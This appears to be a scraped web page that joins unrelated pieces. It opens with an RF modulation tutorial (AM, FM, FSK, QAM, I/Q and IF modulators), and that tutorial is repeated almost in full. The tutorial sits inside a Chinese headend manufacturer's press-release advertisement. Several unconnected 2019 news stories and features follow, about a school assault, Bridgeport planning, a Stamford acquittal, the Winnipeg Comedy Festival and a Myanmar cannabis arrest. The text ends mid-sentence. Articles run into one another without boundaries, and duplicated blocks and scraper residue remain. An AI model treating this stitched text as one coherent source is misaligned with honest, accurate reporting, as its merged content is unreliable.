two digital states. A nonzero amplitude represents a digital one while a zero amplitude is a digital zero. A specific implementation of OOK is Morse Code. Frequency Shift Keying (FSK), seen in Figure 3, is a form of frequency modulation where a certain frequency represents each binary value. Figure 3. Frequency Shift Keying (FSK) Finally, Quadrature Amplitude Modulation (QAM) uses combinations of amplitudes and phases to represent more than 2 digital states, as many as 1024. I and Q Data Before comparing IQ and IF modulators, review the tutorial: "What is I/Q Data?". I/Q Data in Communication Systems To explain why I/Q data is used in communications systems, you must understand modulation basics. RF communication systems use advanced forms of modulation to increase the amount of data that can be transmitted in a given amount of frequency spectrum. Signal modulation can be divided into two broad categories: analog modulation and digital modulation. Analog or digital refers to how the data is modulated. If analog audio data is modulated onto a carrier sine wave, this technology is referred to as analog modulation. If analog audio data is sampled by an analog-to-digital converter (ADC) with the resulting digital bits modulated onto a carrier sine wave, this technology is defined as digital modulation because digital data is encoded. Both analog modulation and digital modulation involve changing the carrier wave amplitude, frequency, or phase (or combination of amplitude and phase simultaneously) according to the message data. Amplitude modulation (AM), frequency modulation (FM), or phase modulation (PM) are all examples of analog modulation. With amplitude modulation, the carrier sine wave amplitude is modulated according to the message signal. The same idea holds true for frequency and phase modulation. Time Domain of AM, FM, and PM Signal IQ vs. IF Modulators After calculating digital I and Q data from the baseband message signal, there are two methods of converting this data into an analog RF signal. The first method involves converting I and Q data into analog signals, then feeding them into a quadrature encoder. There, they control the amplitudes of two oscillators, operating 90 degrees out of phase. The output of these oscillators is summed, resulting in an RF signal with the appropriate amplitude, phase, and frequency. Figure 4. IQ Modulation The next method of converting digital I and Q data to analog RF performs the oscillator scaling and summing in the digital domain. That is, digital sinusoids with a phase difference of 90 degrees are scaled by the digital I and Q values, then added together. These digital sinusoids are of a lower frequency than the analog oscillators in the IQ modulation scheme, but still at a significantly higher frequency than the message signal. A digital to analog converter (DAC), which operates at a much higher frequency than the DAC used in IQ modulation, converts the resulting digital waveform to low frequency analog RF. Finally, an analog IF to RF up converter uses several stages of mixing and filtering to shift the analog RF signal to the desired RF frequency. Figure 5. IF Modulation The NI 5660 RF Vectors Signal Analyzer and the NI 5671 RF Vector Signal Generator use the IF modulation scheme depicted in Figure 5. Established in 2000, the Soukacatv.com main products are modulators both in analog and digital ones, amplifier and combiner. We are the very first one in manufacturing the headend system in China. Our 16 in 1 and 24 in 1 now are the most popular products all over the world. For more, please access to CONTACT US Company: Dingshengwei Electronics Co., Ltd Address: Bldg A, the first industry park of Guanlong, Xili Town, Nanshan, Shenzhen, Guangdong, China Tel: +86 0755 26909863 Fax: +86 0755 26984949 Mobile: 13410066011 Email: Source: ni then send this carrier signal through the communication medium more efficiently than the message signal alone. Finally, a receiver will demodulate the signal, recovering the original message.HDMI Encoder Modulator,16in1 Digital Headend, HD RF Modulator at Soukacatv.comSKD3013 3 Channel HD Encode ModulatorSKD19 Series 1U Rack 12CH Encode ModulatorHousehold Universal Encoding & Modulation ModulatorSKD121X Encoding & Multiplexing ModulatorIn Amplitude Modulation (AM), pictured below, the amplitude of the carrier sinusoid changes based on the amplitude of the message.Figure 2. Amplitude ModulationThe message signal (red) rides on top of the carrier as the amplitudes of both vary with time. The frequency of the carrier, however, is much higher than the frequency of the message. This carrier frequency is the center of the 'channel,' or frequency allocation of this RF signal. Frequency allocations vary depending on the medium of transmission. For broadcast transmissions, where signals are sent through the air, the government regulates frequency allocation. If the RF signal is transmitted over wire, such as in cable television, there is more freedom in the choice of carrier.In addition to amplitude modulation, frequency modulation varies the frequency of the carrier sinusoid based on the amplitude of the message signal. Similarly, phase modulation changes the phase of the carrier in response to a change in amplitude of the message.Digital ModulationDigital modulation is similar to analog modulation, but rather than being able to continuously change the amplitude, frequency, or phase of the carrier, there are only discrete values of these attributes that correspond to digital codes. There are several common digital modulation schemes, each varying separate sets of parameters. The simplest type is called On Off Keying (OOK) where the amplitude of the carrier corresponds to one of two digital states. A nonzero amplitude represents a digital one while a zero amplitude is a digital zero. A specific implementation of OOK is Morse Code. Frequency Shift Keying (FSK), seen in Figure 3, is a form of frequency modulation where a certain frequency represents each binary value.Figure 3. Frequency Shift Keying (FSK)Finally, Quadrature Amplitude Modulation (QAM) uses combinations of amplitudes and phases to represent more than 2 digital states, as many as 1024.I and Q DataBefore comparing IQ and IF modulators, review the tutorial: "What is I/Q Data?".I/Q Data in Communication SystemsTo explain why I/Q data is used in communications systems, you must understand modulation basics.RF communication systems use advanced forms of modulation to increase the amount of data that can be transmitted in a given amount of frequency spectrum. Signal modulation can be divided into two broad categories: analog modulation and digital modulation. Analog or digital refers to how the data is modulated. If analog audio data is modulated onto a carrier sine wave, this technology is referred to as analog modulation. If analog audio data is sampled by an analog-to-digital converter (ADC) with the resulting digital bits modulated onto a carrier sine wave, this technology is defined as digital modulation because digital data is encoded. Both analog modulation and digital modulation involve changing the carrier wave amplitude, frequency, or phase (or combination of amplitude and phase simultaneously) according to the message data.Amplitude modulation (AM), frequency modulation (FM), or phase modulation (PM) are all examples of analog modulation. With amplitude modulation, the carrier sine wave amplitude is modulated according to the message signal. The same idea holds true for frequency and phase modulation.Time Domain of AM, FM, and PM SignalIQ vs. IF ModulatorsAfter calculating digital I and Q data from the baseband message signal, there are two methods of converting this data into an analog RF signal. The first method involves converting I and Q data into analog signals, then feeding them into a quadrature encoder. There, they control the amplitudes of two oscillators, operating 90 degrees out of phase. The output of these oscillators is summed, resulting in an RF signal with the appropriate amplitude, phase, and frequency.Figure 4. IQ ModulationThe next method of converting digital I and Q data to analog RF performs the oscillator scaling and summing in the digital domain. That is, digital sinusoids with a phase difference of 90 degrees are scaled by the digital I and Q values, then added together. These digital sinusoids are of a lower frequency than the analog oscillators in the IQ modulation scheme, but still at a significantly higher frequency than the message signal. A digital to analog converter (DAC), which operates at a much higher frequency than the DAC used in IQ modulation, converts the resulting digital waveform to low frequency analog RF. Finally, an analog IF to RF up converter uses several stages of mixing and filtering to shift the analog RF signal to the desired RF frequency.Figure 5. IF ModulationThe NI 5660 RF Vectors Signal Analyzer and the NI 5671 RF Vector Signal Generator use the IF modulation scheme depicted in Figure 5.Established in 2000, the Soukacatv.com main products are modulators both in analog and digital ones, amplifier and combiner. We are the very first one in manufacturing the headend system in China. Our 16 in 1 and 24 in 1 now are the most popular products all over the world. For more, please access to www.soukacatv.com CONTACT USCompany: Dingshengwei Electronics Co., LtdAddress: Bldg A, the first industry park of Guanlong, Xili Town, Nanshan, Shenzhen, Guangdong, ChinaTel: +86 0755 26909863Fax: +86 0755 26984949Mobile: 13410066011Email: ken@soukacatv.com Source: ni Press Information: Dingshengwei Electronics Co., Ltd Bldg A, the first industry park of Guanlong, Xili Town, Nanshan, Shenzhen, Guangdong, China Contact Person: Phone: 13410066011 eMail: eMail Web: http://https://www.soukacatv.com 26.04.2019 09:33:51 - Disclaimer: If you have any questions regarding information in this article please contact the author. Please do not contact Live-PR.com. We are not able to assist you. Live-PR.com disclaims content contained in this article. Live-PR.com is not authorized to give any information about content and not responsible for content posted by third party. Police say a 12-year-old girl suspended from a Madison school showed up at the school, beat up a fellow student and injured two officers. Authorities say the girl returned to Jefferson Middle School Wednesday, assaulted a student and threatened another with a fire extinguisher. Police were called and tried to de-escalate the situation. But, the girl attacked two officers. One was treated for whiplash and shoulder injuries while the other suffered a split lip and abrasions. The State Journal says the girl was arrested on tentative charges of battery to a law enforcement officer, disorderly conduct, trespass and resisting arrest. WSU Stewart Library Seeks Railroad Stories April 26, 2019 OGDEN, Utah Weber State University Stewart Library Special Collections invites the public to share their railroad memories at the Ogden Heritage Festival as part of the Golden Spike celebration for the 150th anniversary the transcontinental railroad. WSU library staff will be on hand May 9-11 from 9 a.m.-6 p.m. to record oral histories and scan photographs for visitors. Oral history is an important part of what we do in Special Collections, said Sarah Singh, head of Special Collections. We work to gather as many memories and stories as we can, and this is an exciting time to think about the impact the railroad has had on our lives. Visitors to the Special Collections booth will be able to share any stories or photos they have of railroad work or train travel. They can also share memorabilia and memories of Ogdens Union Station or of Ogden in general. Staff members will scan the images to add to the collection then return them to owners. The railroad is an integral part of Ogdens history, Singh said. Were excited to partner with the Ogden Union Station to preserve these stories from our diverse community. Singh added that all the information gathered will be used in the upcoming celebration of Union Stations 100th anniversary. Special Collections documents the history of Weber and Davis counties through oral histories, photographs and other records. For more information about Special Collections, visit specialcollections@weber.edu or call 801-626-6540. For photos, visit the following links. photos.smugmug.com/Press-Release-Photos/2019-Photos/April-2019/i-bt7msgq/0/b92bca69/X2/DieselEngines-X2.jpg photos.smugmug.com/Press-Release-Photos/2019-Photos/April-2019/i-PM7htfT/0/312e06c2/X2/Passengers_1967-X2.jpg photos.smugmug.com/Press-Release-Photos/2019-Photos/April-2019/i-WHRS6kv/0/6e5148ab/X2/Roundhouse-X2.jpg photos.smugmug.com/Press-Release-Photos/2019-Photos/April-2019/i-xbc9hRk/0/126e55a0/X2/UnionStation_1951-X2.jpg Visit weber.edu/wsutoday for more news about Weber State University. Mr. Gowon Bowe, president of the Bahamas Institute of Chartered Accountants (BICA), "told Tribune Business that the consumption-driven nature of this nations VAT-reliant structure meant those on lower incomes continue to bear a disproportionate tax burden in comparison to their wealthier counterparts." Of course this reasoning is often used when governments are looking to increase taxes instead of lowering spending. Yet, one study points out that "A Flat Consumption Tax Would Be Fair and Efficient." The study found that "The economic benefits to Americans at all income levels would be immense once Congress implements a consumption tax. The empirical data show that a consumption tax could increase the size of the economy by about 15 percent over 10 years." In other words changing the tax system to one of income tax could possibly slow the economy even further as more people decide it is not worth investing in the economy. There are no easy answers but surely the government should remain committed to spending within its means first and foremost. Public Policy should be about deriving the best results for everyone over the long haul. Rhetoric about income equality should be left in the dust bin of history and the debate should be centred on economic growth and how best to accomplish it. The next decade of development in Bridgeport has gotten its final go-ahead from city officials. Earlier this week, the citys 10-year master plan was adopted by the Planning and Zoning commission. Now future growth has a game plan to follow. Were very happy that Plan Bridgeport, with the submitted amendments, was adopted, said Lynn Haig, director of Bridgeports planning and zoning commission. The approval of the Master Plan of Conservation and Development includes changes to several original proposals after residents and city officials added their input. One change focused on Remington Woods, which has long been targeted for redevelopment by site owners DuPont Corp, which wanted to turn it into a corporate park. The original draft of the plan had leaned more toward aiding development on the 422-acre green space straddling Bridgeport and Stratford. That didnt sit well with city council members back in March when the draft was first presented at an Economic and Community Development and Environment committee meeting. Several changes were drafted by council members and the writers of the plan to put more focus on conservation and preservation instead of redevelopment. The changes were submitted as amendments during Mondays meeting and adopted. The plan now states the city will work in partnership with the owner of the Remington Woods/Lake Success Property, together with interested conservation groups such as the Trust for Public Land, to advance the environmental clean-up and reuse of this site in ways that may advance the preservation of, and public access to, the urban forest in this area. State Rep. Joe Gresko of Stratford, Bridgeports Director of Sustainability, spoke favorably of the changes. When do we have a chance to save something like this? he said of Remington Woods. Im not anti-development, but the idea of a corporate parks time has passed. Having something that is more likely to be used by residents but still able to generate revenue for the city is something that I feel we should be looking at. He said the proposed corporate park was not modern thinking, referring to past woes of General Electrics redevelopment for its former headquarters in Fairfield, which was vacant for years before it was purchased by Sacred Heart University. This approval allows us to begin implementing the plan, Haig said. The city will launch an updated website for Plan Bridgeport in May that will keep viewers informed as the implementation processes are completed. We heard loud and clear last year during our outreach that folks had no idea that the City actually implements the Master Plan, so were building that feature into the website as a way to keep the community aware, Haig said. Jordan.grice@hearstmediact.com GREENWICH A serious mishap on the waters off Old Greenwich has complicated the start of the boating season and the placement of moorings. A boat operated by Old Greenwich Marine, which installs moorings in Greenwich waters, was sunk during an operation Monday morning. A message was sent to members of the Old Greenwich Yacht Club this week telling them there would be delays getting their boats in the water. A subsequent post, however, told members your moorings will be commissioned on time. Since the accident Monday, Old Greenwich Marine has been working with other marine operators in the area to lay down moorings for boaters in the Old Greenwich area, Macmillan said. The towns Harbor Management Commission has authorized five regional marine operators to install moorings. Justin Colombo, the operator of the boat that sank, had a close call, said Harbormaster Ian Macmillan. A heavy load of mooring equipment including a 1,500-pound mooring on board made the boat lopsided and it took on water. His boat turned turtle; 48-degree water, its cold, said Macmillan. Fortunately someone saw it happen, and fortunately the Greenwich police boat was nearby. Greenwich Police Department marine officers responded and discovered 46-year-old Colombo clinging to the hull of his overturned boat just west of the Rocky Point Club, off East Point Lane. He was taken ashore by Marine officers, where he was examined by medical personnel for exposure to the cold, police said.. Colombo, a Stamford resident, did not immediately respond to requests for comment. The Old Greenwich Marine boat, which sank, has been re-floated, Macmillan said. STAMFORD A city man who killed 58-year-old Fairfield woman in a city crosswalk in January 2018 was found not guilty of manslaughter by a Stamford judge in a solemn hearing at the Stamford courthouse Thursday morning. The defendant in the case, George Evan Christiansen, 40, who was facing as many as 10 years in prison if found guilty of the charge, walked out of the courthouse a free man. Obviously he is very relieved, said his criminal defense attorney Lindy Urso. A case like this has no winners, but I am very, very happy for Evan. This has been weighing on him since the day it happened and at least he can put this part of the tragedy behind him. Urso said that from the start, the police and prosecution overcharged Christiansen. This was only a tragic accident and regardless of how they charged him, Evan wasnt guilty of a crime, he said. It was just a tragic accident. The family of Lynette Wagner, who was killed at the corner of Elm and North State streets just after 7 a.m. on Jan. 2, 2018, declined comment while leaving the courtroom after Judge Richard Comerford handed down his verdict on the trial decided by the judge and not a jury. This is Comerfords fourth bench trial verdict in the past several months involving the deaths of pedestrians or passengers caused by motor vehicles where the drivers have gone free. Just retired Stamford police Sgt. Andrew Gallagher, the lead investigator in the case, called Comerfords decision an injustice. Another terrible injustice for pedestrians in Stamford, Gallagher said. It doesnt matter if there is 23 feet for a vehicle to go around you and you are struck, or if a driver falls asleep, or if you get run over in a crosswalk. Even if it is recorded on video when you are killed, you still wont receive justice. It is incredibly sad and frustrating. Wagner was killed just after stepping off the sidewalk and onto a crosswalk on Elm Street at North State Street. Christiansen, who was driving a work van, was getting ready to make a right from Elm onto North State in order to get onto Interstate 95, he said under oath in his testimony. A video of the incident showed Wagner, who was pulling a wheeled legal briefcase, step onto the crosswalk in front of Christiansen just as he pulled forward to make the turn. Wagner was crossing against the pedestrian signal and Christiansen was making a legal right-on-red turn, testimony showed. In a fourth-floor courtroom Thursday, Comerford said that he decided that Assistant States Attorney Daniel Cummings and Senior Assistant States Attorney Mitchell Rubin, who prosecuted the case, did not prove beyond a reasonable doubt the elements of the manslaughter charge, which involves proving Christiansen was reckless by being indifferent to a known and substantial risk of harm in the case. Before rendering his verdict, Comerford said possibly because he is getting older and his sense of mortality in the world is changing he had enormous sympathy for those who have lost loved ones. As a Christian believer, Comerford also said when a loved one is taken away, he does not understand why. The loss is permanent and very difficult to deal with. She was a good woman. She is gone from us. Family was important to her. She was important to the family. All that one day, gone. You dont know the day or the hour. It is terribly sad, terribly sad, Comerford said. Comerford also said that because of the nature of the second-degree manslaughter charge, he could not find Christiansen guilty of a lesser included offense. As a result, he said his hands were tied in considering Christiansens guilt on a lower-level criminal charge. jnickerson@stamfordadvocate.com More millennials are flocking to Vancouver, Toronto, and Montreal, with the population of 20- to 34-year-olds in these three cities swelling by 96,000 in 2018. The surge represents the biggest net inflow of millennials in 12 years, according to a report from the Royal Bank of Canada (RBC). And while an increasing number of millennials are packing up and moving to another part of their province, the three cities are gaining seven to 12 millennials from abroad for every one that moves out. Broken down, Toronto led the way with a 58,000 rise in millennials in 2018, up 4.1%. This was followed by Montreal (up 22,000, or 1.4%) and Vancouver (16,000, or 2.4%). Vancouver, Toronto and Montreal continue to be magnets for young, mobile talent, said Robert Hogue, senior economist at RBC. This is the dominant force shaping the urban demographic make-up, not the loss of millennials priced out of the market. Despite some churn in the prime household-forming population, future housing demand isnt under threat in Canadas largest cities. Concerns that high and rising housing costs might gut the millennials ranks in Canadas most expensive cities have been greatly exaggerated, he said. Apart from a short-lived slowdown in 2015 resulting from changes in the temporary foreign worker program, the population aged 20-34 in Vancouver, Toronto and Montreal has grown solidly over the last dozen years. Hogue said that housing demand wasnt at risk of falling anytime soon. What could fall, however, is the rate of young households who own a home, he said. High housing prices set an impossibly high bar to clear for many millennials to become homeowners in a big city. Expect a greater proportion of them to rent in the future. Five of YouTube's biggest global markets are in Asia: India, Indonesia, Japan, Thailand and Vietnam. "All of them have year-on-year growth levels that are very high double digits, or, in some cases, triple digit annual growth," Vidyasagar told CNBC's Nancy Hungerford at the APOS conference in Bali, Indonesia. "Mobile consumption, actually, really started showing up as a game-changer from this region." According to Ajay Vidyasagar, Alphabet's video platform YouTube has "extraordinary momentum" in Asia Pacific, both in terms of the number of users and how frequently they use the service. Nearly 85% of India's YouTube consumption is through mobile devices, according to Vidyasagar. Asia is home to some of the largest smartphone markets in the world, including India and Indonesia. Moreover, the development of high-speed mobile internet connections has also made video content more accessible to users than in the past, when most people watched television instead. YouTube has more than a billion users worldwide. Hey there, time traveller! This article was published 25/4/2019 (972 days ago), so information in it may no longer be current. Youll laugh, youll cry" isnt the tagline youd normally associate with a comedy festival. Festival preview Click to Expand Winnipeg Comedy Festival Various venues April 28-May 4 Tickets at winnipegcomedyfestival.com But for Lara Rae, who is leaving her role as artistic director of the Winnipeg Comedy Festival after 18 years, there are sure to be punchlines and poignant moments in equal measure when the event gets underway on Sunday. "Yes, Im feeling a mix of emotions," Rae admits. "Its one of those things where you get nostalgic and think, Oh, Ill never do this again, and then you wonder whether the decision you made was a good one." Rae co-founded the festival in 2002 with actor Tom Anniko and has shaped it over the years into an event that prides itself on presenting a multitude of comedic voices. But in the past few years, the Gemini-winning comedy writer and standup performer has felt her focus shifting to different artistic outlets. MIKE DEAL / WINNIPEG FREE PRESS Lara Rae is celebrating her final Winnipeg Comedy Festival as artistic director. "They say you should spend 90 per cent of your time doing what you love and what youre good at, so I guess this will be me doing that," she says over coffee at the Stellas restaurant in her West Broadway neighbourhood. "Ive always had a great deal of confidence in my creative side; I genuinely feel if I get involved in something, I can bring something to the table. "I would like to explore more opportunities to do that, having also realized Im one of these people who got all of the creative juices and none of the organizational stuff Ive got all the show and none of the business." Raes got show to spare, in fact. In 2017, she performed Fragments, a 45-minute poetic play, at the Winnipeg International Fringe Festival. In March, Theatre Projects Manitoba presented her full-length autobiographical drama Dragonfly to critical acclaim. The work, which starred Sarah Constible as They and Eric Blais as Them, two facets of the playwright, tells the story of Raes "gender odyssey." Rae recommends Winnipeg Comedy Festival artistic director Lara Rae encourages audiences to check out the galas at Club Regent Event Centre Free parking! she says but here are a few other shows to catch. click to read more Winnipeg Comedy Festival artistic director Lara Rae encourages audiences to check out the galas at Club Regent Event Centre Free parking! she says but here are a few other shows to catch. RUTH BONNEVILLE / WINNIPEG FREE PRESS Local comedian Florence Spence is at the Treaty 1 and Only show. Treaty 1 and Only (Gas Station Arts Centre, May 3, 7 p.m.): I wanted to do a big Indigenous show so Im glad were having a chance to do that, Rae says of the showcase that features Aboriginal comics from across North America. Im very proud of my idea to have Ed the Sock host The Dirty Show (The Met, May 3, 10 p.m.), she says. Steve (Kerzner, who voices the angry sock puppet) and I did this reality show with Alan Thicke and so wed have these phone calls with him telling horrifying stories about his career and then Steve would get on the phone and do an impersonation of Alan Thicke for half an hour that had us in tears. Ive been a fan of Ed the Sock for years. Dont Shhh Me! (Gas Station Arts Centre, May 4, 7 p.m.): This is the first year that were going to have non-binary comics, Rae says of the lineup that includes former Winnipegger Chanty Marostica. Its just amazing. If someone had said that in 2000 How many non-binary comics do you have? it would have been, What? Lara & Friends (Gas Station Arts Centre, May 1, 7:30 p.m.): If you cant stand the heat, get out of the Gas Station. A cast of comics that includes Shaun Majumder, Sean Cullen, Nikki Payne and Dean Jenkinson (who takes over the reins as the festivals artistic director next year) gather to roast Rae. Close She grew up labelled a boy in Glasgow, Scotland; her journey to becoming a transgender woman was fraught with addiction and abuse, yet the dark material is leavened with trademark humour. For Rae, it was a significant step away from standup to make work that incorporated humour into something grander and perhaps more universal. "As a former comic myself, for many people, Nanette was pretty transformative," Rae says of the 2017 Netflix special from queer Australian comedian Hannah Gadsby, herself a survivor of sexual abuse, which dismantles the very idea of comedy performance. Australian comedian Hannah Gadsby (Chris Pizzello / The Associated Press files) "I dont think it is unfair to say that maybe 40 per cent of my decision to leave the comedy festival was on the other side of watching that. My decision, as hers was, was to some degree performative, because she does a show about not wanting to perform anymore and then performs it for months and years. "(Gadsbys) decision came out of a place of anger and you need to work through that to make it palatable, even when half your show dispenses with the kind of joke-telling structure." Thats what Dragonfly became. "When I first started doing the Dragonfly experiment years ago... I was very invested in making sure there were jokes, in keeping it funny as I dealt with gender and sexual assault and all these things. "And now Im not as interested. I did really feel that I wanted to end on a laugh, but as you know, a lot of it wasnt funny, yet it was tremendously satisfying." Sarah Constible (left) and Eric Blais in Lara Rae's Dragonfly. (Leif Norman photos) Rae also wants to end on a laugh at her final Winnipeg Comedy Festival, despite the potential for tears. Got galas? All five gala performances will be held at Club Regent Event Centre this year, and taped for later broadcast on CBC-TV. Tickets are $35 at winnipegcomedyfestival.com. click to read more All five gala performances will be held at Club Regent Event Centre this year, and taped for later broadcast on CBC-TV. Tickets are $35 at winnipegcomedyfestival.com. First Impressions Thursday, May 2, 7:45 p.m. Host: Trent McClellan; featuring Bryan Hatt, Simon King, Leland Klassen, Chanty Marostica, Shelina Merani, Natalie Norman and Tom Papa. Kids Stuff Friday, May 3, 6:45 p.m. Host: Gerry Dee; featuring John Cullen, Keith Pedro, Ian Sirota, Preeti Torul, Tim Steeves and Rhiannon Archer. Beyond Belief Friday, May 3, 9:15 p.m. Host: DeAnne Smith; featuring Martha Chaves, Christophe Davidson, Charlie Demers, Eman El-Husseini, Jacob Samuel, Peter White. Square Pegs Saturday, May 4, 6:45 p.m. Host: Kevin McDonald; featuring Anesti Daniels, Todd Graham, Charles Haycock, Yumi Nagashima, Nick Nemeroff and Ana-Marija Stoijic. Discomfort Zone Saturday, May 4, 9:15 p.m. Host: Jessica Holmes; featuring Adam Christie, Mark James Heath, Pete Johansson and Chelsea Lou. Close Looking back at the fest she essentially raised to adulthood "we say its like were kicking it out of the house," she says of the 18-year-old event she has fond memories of having her idols A. Whitney Brown and Marc Maron perform twice, and of seeing Winnipeg comics hit it out of the park while sharing a stage with international stars. But shes proudest of the exposure she thinks the festival, especially its televised galas, gives young or up-and-coming performers. Late-night talk shows are no longer the holy grail of standup success, and Netflix doesnt seem to be handing out specials to Canadian comics. The Winnipeg Comedy Festival showcases, which are recorded live-to-tape for later broadcast on CBC-TV, are an opportunity to be seen by a national audience. "One of the most rewarding things is to see someone be given an opportunity that is slightly outside of their comfort zone and compelling them with encouragement to have to rise to that occasion and then have them do so," she says. jill.wilson@freepress.mb.ca Twitter: @dedaumier If you value coverage of Manitobas arts scene, help us do more. Your contribution of $10, $25 or more will allow the Free Press to deepen our reporting on theatre, dance, music and galleries while also ensuring the broadest possible audience can access our arts journalism. BECOME AN ARTS JOURNALISM SUPPORTER Click here to learn more about the project. From 2003 to 2017, Canon Andrew White was known as the Vicar of Baghdad. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. From 2003 to 2017, Canon Andrew White was known as the "Vicar of Baghdad." He was sent to Iraq from his home in England to open and resurrect St. Georges Anglican Church the only Anglican church in the Middle Eastern country which was closed by dictator Saddam Hussein in 1991. While there, White saw the congregation grow to 6,500, despite ongoing fighting and unrest. Today, only about 40 families remain. The rest have fled to Jordan or been killed by the so-called Islamic State terror group. From a high of 1.5 million Christians in Iraq, according to White, there are only about 260,000 left today. White now lives in London; hes a priest without a parish. But he still has a congregation around the world: persecuted Christians, especially in the Middle East. "Im motivated by issues affecting persecuted Christians in the Middle East and around the world," said White, who will be speaking next week in Winnipeg to share his passion. The bombing of churches in Sri Lanka has put the issue into the media spotlight, but most of the time "these people are forgotten" by Christians in Canada, he said. At the same time persecution is on the rise against Christians in some countries, White is also concerned about growing anti-Semitism around the world. "First, they come on Saturday, then Sunday," he shared, citing an adage meaning first the Jews are persecuted, then Christians. Islamic extremists are the main cause of the persecution in many countries, he said, adding that the Chinese government is also oppressing Christians and Muslims in that country. "Im sorry for the many Muslims around the world, including in Canada, who end up being unfairly blamed for the actions of a few," he said. "They are being affected by rising Islamophobia, which is everything I stand against." During his time in Baghdad, White was attacked and kidnapped, once held captive in a room littered with other peoples severed fingers and toes. Looking for a great gift to give this holiday season? Give the gift of good news! You can make a contribution to the Free Press Religion in the News project in the name of a friend or family member. Your gift of $10, $25 or more can help us keep offering trusted coverage of faith in Manitoba. Give a gift! Click here to learn more about the project. Over the past 20 years, he has worked as a peacemaker, trying to mediate conflicts in Iraq, Nigeria, Israel and Palestine, talking to terrorists, extremists, warlords and government leaders. Although living with multiple sclerosis, which affects his speech and balance, White maintains an active schedule as ambassador for Jerusalem Middle East Reconciliation International (Jerusalem MERIT), a charity dedicated to assisting Iraqi refugees living in Jordan. White will deliver a lecture titled "Conflict, Crisis and Faith: Theological Responses to Terrorism" May 3 at St. Margarets Anglican Church (160 Ethelbert St., 7 p.m.); speak May 4 about his work in the Middle East at a banquet hosted by Douglas Mennonite Church (1517 Rothesay St., 6 p.m.); and preach at St. Margarets (May 5, 7 p.m.) under the topic "Miracles, Signs and Wonders in the Middle East." Funds raised during the events will be used to support Jerusalem MERIT, St. Margarets refugee committee and the Diocesan refugee committee. For more information and to purchase tickets for the banquet, visit saintmargarets.ca or call 204-774-9533. faith@freepress.mb.ca Since graduating with a business degree from the University of Manitoba in the early 1980s, Robert Lloyd has had the amazing good fortune of getting a front-row seat to some world-changing technology developments. Hey there, time traveller! This article was published 25/4/2019 (971 days ago), so information in it may no longer be current. Opinion Since graduating with a business degree from the University of Manitoba in the early 1980s, Robert Lloyd has had the amazing good fortune of getting a front-row seat to some world-changing technology developments. One of the countless smart Winnipeggers who left town to launch wildly successful business careers, Lloyd has had an incredible run of being at the right place at the right time getting in at the start of the personal computer business, leading large organizations into the networked world as second-in-command at Cisco Corp., then running Virgin Hyperloop One, a company on the verge of revolutionizing the transportation industry. The affable 62-year-old was back in Winnipeg to speak at the annual gala of the Information and Communication Technologies Association of Manitoba (ICTAM) on Thursday night. After a lengthy career spent living in Toronto, London and San Francisco, hes self-aware enough to know that he retained a Prairie humility. He began his career in Winnipeg with Burroughs Corporation, then the second-largest computer company in the world. He moved to Calgary and started what became a very successful retail computer company called ComputerCorp that had stores across the country and hundreds of millions of dollars in sales. After it was sold, he became head of Cisco Corp. in Canada; this started a 21-year run for him at that company, taking him around the world, where he rose through the ranks to become the companys president and second-in-command. He then spent three years as CEO of Virgin Hyperloop One, which is developing an innovative transportation system that can move at speeds up of 1,200 kilometres per hour. Asked what his special talents are that helped him be so successful, Lloyd said, "I get along really well with charismatic leaders like John Chambers (the longtime CEO of Cisco) and Richard Branson (who became chairman of Virgin Hyperloop One while Lloyd was the CEO). "If you come from Winnipeg, you dont have to be the star out front," he said. "It was easy for me to let John Chambers be John Chambers, or Richard Branson be Richard Branson." Hes so humble that he says his main skill along with being attracted to the newest technologies and learning about them on the fly was getting along with great leaders and complementing them and not feeling like he had to take their jobs or compete with them. "To me, thats very Canadian," he said. He was never the guy who developed the technology. He surrounded himself with smart people who did. As CEO, he helped Virgin Hyperloop One reach the point where it was about to build its first installation in India, but he stepped down at that crucial stage, yielding to a veteran transportation industry executive because, he said, "I really didnt know anything about the development of an infrastructure project." (That company is primarily owned by Dubai investors, and when Branson left last fall after the murder of Washington Post columnist Jamal Khashoggi in Istanbul, Lloyd followed shortly after.) Lloyd is now out of the globe-trotting rat race, spending more time at his home in the San Francisco area and working on the 21-team American Ultimate Disc League, which he effectively bought a few years ago. His message to the ICTAM group, which is seeing a strong burst of technology company development in Winnipeg, comes from the perspective hes gained from having that front-row seat for the early days of the introduction of personal computers, to implementation of enterprise internet connectivity to the high-speed travel possibilities of the Hyperloop. "We can all learn lessons from some of the big transitions of the past few decades," he said. "The cycle of change happens more quickly than it has in the past. It doesnt take two decades for those big changes anymore. Now its more like five years." Want to get a head start on your day? Get the days breaking stories, weather forecast, and more sent straight to your inbox every weekday morning. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement. While hes aware the availability of capital in Winnipeg or anywhere in Canada for that matter is not as high as it is in the U.S., he says there are advantages in growing technology companies in Winnipeg like Bold or Skip the Dishes (where one of his sons works). "The costs are lower, you can get great people to work here. Its not like competing for talent in San Francisco, where it is murderous... it is basically horrible. You have people living 12 to an apartment because it is so expensive," he said. "But in Winnipeg, people have the same good ideas, but it can be easier to attract talent and there is a lot more loyalty to a company here than what you find in New York or California." The rapid introduction of new technology that is now the dynamic of the day can work to the advantage of Winnipeg. Global companies like Ubisoft and Amazon are realizing that. Lloyd said, "The inspiration stuff will continue to happen and a lot of it can be done anywhere in the world today. All it takes is smart people and a lot of commitment." martin.cash@freepress.mb.ca YANGON, Myanmar - The arrest of an American man in Myanmar for growing 20 acres of cannabis plants is unjust because authorities were aware that his company was doing scientific research and police were confusing hemp with recreational marijuana, his lawyer said Friday. Hey there, time traveller! This article was published 26/4/2019 (971 days ago), so information in it may no longer be current. YANGON, Myanmar - The arrest of an American man in Myanmar for growing 20 acres of cannabis plants is unjust because authorities were aware that his company was doing scientific research and police were confusing hemp with recreational marijuana, his lawyer said Friday. Attorney Thein Than Oo said that John Fredric Todoroki and the III M Global Nutraceutical Co. had received official permission for their activity, which he described as research. "This company rented the land and is running its laboratory officially," he said. "Their intention is to do research, not to sell or distribute. If their research goes well, they will work with the government." Myanmar's anti-drug agency says Todoroki and two Myanmar citizens were arrested after police on Monday raided the plantation on an industrial estate in the country's central Mandalay region. Police found what they said were about 349,300 marijuana plants, 5,200 seedlings, 380 kilograms (838 pounds) of marijuana seeds, 1,804 grams (64 ounces) of marijuana oil, and chemicals and equipment for processing the plants into CBD, or cannabidiol, a non-intoxicating compound that many believe has health benefits. Police said they were also seeking to arrest Alexander Skemp Todoroki. It's unclear where the Todorokis, believed to be father and son, last lived in the U.S. Hemp can be grown legally in 